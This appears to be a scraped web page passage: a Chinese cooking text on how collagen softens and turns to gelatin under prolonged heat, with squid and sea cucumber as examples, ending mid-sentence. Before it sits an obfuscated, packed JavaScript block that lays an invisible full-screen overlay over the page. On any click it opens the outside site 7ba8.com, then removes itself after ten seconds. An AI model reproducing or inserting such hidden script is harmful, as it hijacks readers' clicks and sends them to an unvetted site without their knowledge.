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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>胶原蛋白还有一个更为重要的性质,即在80℃以上水中长时间加热,胶原蛋白会因吸水膨胀而柔嫩,继续加热则分解成可溶于水的明胶,特别是在有酸或碱的环境下,胶原分解成明胶的反应更易进行。胶原这一特性,必须充分认识,合理掌握和运用,否则就会在制作某些菜品时误入歧途。例如:碱水涨发后的鱿鱼,若长时间煮或烧制成菜,就会因过度软烂而“化”掉。这是因为鱿鱼本身肉质就较为柔软,胶原含量较少,在碱水涨发过程中,一部分胶原分解而成明胶,降低了其机械强度,若再经长时间受热,胶原纤维散失殆尽,自然难以维持一定的形状。海参亦是如此。它们易“化 |